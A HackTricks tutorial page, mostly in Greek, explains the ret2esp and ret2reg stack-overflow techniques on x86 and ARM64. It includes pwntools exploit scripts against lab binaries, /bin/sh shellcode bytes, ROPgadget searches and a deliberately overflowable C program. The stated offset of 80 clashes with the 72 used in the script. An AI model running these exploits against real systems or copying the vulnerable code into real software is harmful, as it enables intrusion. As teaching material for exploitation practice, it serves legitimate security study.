Ret2esp / Ret2reg

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Ret2esp

Επειδή ο ESP (Δείκτης Στοίβας) δείχνει πάντα στην κορυφή της στοίβας, αυτή η τεχνική περιλαμβάνει την αντικατάσταση του EIP (Δείκτης Εντολής) με τη διεύθυνση μιας jmp esp ή call esp εντολής. Κάνοντας αυτό, ο κώδικας shell τοποθετείται ακριβώς μετά την αντικατεστημένη EIP. Όταν εκτελείται η εντολή ret, ο ESP δείχνει στην επόμενη διεύθυνση, ακριβώς εκεί που είναι αποθηκευμένος ο κώδικας shell.

Αν η Τυχαία Διάταξη Χώρου Διευθύνσεων (ASLR) δεν είναι ενεργοποιημένη σε Windows ή Linux, είναι δυνατόν να χρησιμοποιηθούν οι εντολές jmp esp ή call esp που βρίσκονται σε κοινές βιβλιοθήκες. Ωστόσο, με ASLR ενεργό, μπορεί να χρειαστεί να αναζητήσετε αυτές τις εντολές μέσα στο ευάλωτο πρόγραμμα (και μπορεί να χρειαστεί να νικήσετε PIE).

Επιπλέον, η δυνατότητα τοποθέτησης του κώδικα shell μετά την καταστροφή του EIP, αντί να είναι στη μέση της στοίβας, διασφαλίζει ότι οποιεσδήποτε εντολές push ή pop που εκτελούνται κατά τη διάρκεια της λειτουργίας της συνάρτησης δεν παρεμβαίνουν στον κώδικα shell. Αυτή η παρέμβαση θα μπορούσε να συμβεί αν ο κώδικας shell τοποθετούνταν στη μέση της στοίβας της συνάρτησης.

Έλλειψη χώρου

Αν σας λείπει χώρος για να γράψετε μετά την αντικατάσταση του RIP (ίσως μόνο μερικά bytes), γράψτε έναν αρχικό κώδικα shell jmp όπως:

sub rsp, 0x30
jmp rsp

Και γράψτε το shellcode νωρίς στη στοίβα.

Παράδειγμα

Μπορείτε να βρείτε ένα παράδειγμα αυτής της τεχνικής στο https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp με μια τελική εκμετάλλευση όπως:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')

pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()

Μπορείτε να δείτε ένα άλλο παράδειγμα αυτής της τεχνικής στο https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html. Υπάρχει μια υπερχείλιση buffer χωρίς ενεργοποιημένο το NX, χρησιμοποιείται ένα gadget για να μειώσει τη διεύθυνση του $esp και στη συνέχεια ένα jmp esp; για να μεταβεί στον shellcode:

# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *

# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')

# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Establish our rop gadgets

# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)

# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)

# Make the payload

payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget

# Send our payload
target.sendline(payload)

# Drop to an interactive shell
target.interactive()

Ret2reg

Ομοίως, αν γνωρίζουμε ότι μια συνάρτηση επιστρέφει τη διεύθυνση όπου είναι αποθηκευμένο το shellcode, μπορούμε να εκμεταλλευτούμε τις εντολές call eax ή jmp eax (γνωστές ως τεχνική ret2eax), προσφέροντας μια άλλη μέθοδο για να εκτελέσουμε το shellcode μας. Ακριβώς όπως το eax, οποιοδήποτε άλλο καταχωρητή που περιέχει μια ενδιαφέρουσα διεύθυνση θα μπορούσε να χρησιμοποιηθεί (ret2reg).

Παράδειγμα

Μπορείτε να βρείτε μερικά παραδείγματα εδώ:

ARM64

Ret2sp

Στο ARM64 δεν υπάρχουν εντολές που να επιτρέπουν να πηδήξουμε στο καταχωρητή SP. Είναι πιθανό να βρούμε ένα gadget που μεταφέρει το sp σε έναν καταχωρητή και στη συνέχεια πηδά σε αυτόν τον καταχωρητή, αλλά στη libc της kali μου δεν μπόρεσα να βρω κανένα gadget όπως αυτό:

for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done

Οι μόνοι που ανακάλυψα θα άλλαζαν την τιμή του καταλόγου όπου το sp αντιγράφηκε πριν πηδήξει σε αυτό (έτσι θα γινόταν άχρηστο):

Ret2reg

Αν ένας κατάλογος έχει μια ενδιαφέρουσα διεύθυνση, είναι δυνατόν να πηδήξεις σε αυτόν απλά βρίσκοντας την κατάλληλη εντολή. Θα μπορούσες να χρησιμοποιήσεις κάτι σαν:

ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";

Στο ARM64, είναι το x0 που αποθηκεύει την τιμή επιστροφής μιας συνάρτησης, οπότε θα μπορούσε να είναι ότι το x0 αποθηκεύει τη διεύθυνση ενός buffer που ελέγχεται από τον χρήστη με ένα shellcode για εκτέλεση.

Example code:

// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack

#include <stdio.h>
#include <string.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}

char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}

int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}

Έχοντας ελέγξει την αποσυναρμολόγηση της συνάρτησης, είναι δυνατόν να δούμε ότι η διεύθυνση του buffer (ευάλωτη σε bof και ελεγχόμενη από τον χρήστη) είναι αποθηκευμένη στο x0 πριν επιστρέψει από την υπερχείλιση του buffer:

Είναι επίσης δυνατό να βρούμε το gadget br x0 στη συνάρτηση do_stuff:

Θα χρησιμοποιήσουμε αυτό το gadget για να κάνουμε άλμα σε αυτό, επειδή το δυαδικό είναι μεταγλωττισμένο ΧΩΡΙΣ PIE. Χρησιμοποιώντας ένα μοτίβο, είναι δυνατόν να δούμε ότι η απόσταση της υπερχείλισης του buffer είναι 80, οπότε η εκμετάλλευση θα είναι:

from pwn import *

p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')

stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0

p.sendline(payload)
p.interactive()

Αν αντί για fgets χρησιμοποιούνταν κάτι όπως read, θα ήταν δυνατό να παρακαμφθεί το PIE επίσης μόνο με την αντικατάσταση των τελευταίων 2 bytes της διεύθυνσης επιστροφής για να επιστρέψει στην εντολή br x0; χωρίς να χρειάζεται να γνωρίζουμε τη συνολική διεύθυνση. Με το fgets δεν λειτουργεί γιατί προσθέτει ένα null (0x00) byte στο τέλος.

Προστασίες

  • NX: Αν η στοίβα δεν είναι εκτελέσιμη, αυτό δεν θα βοηθήσει καθώς πρέπει να τοποθετήσουμε το shellcode στη στοίβα και να κάνουμε jump για να το εκτελέσουμε.

  • ASLR & PIE: Αυτά μπορούν να κάνουν πιο δύσκολη την εύρεση μιας εντολής για να κάνουμε jump σε esp ή οποιοδήποτε άλλο register.

Αναφορές

Μάθε & εξάσκησε το AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθε & εξάσκησε το GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks

Last updated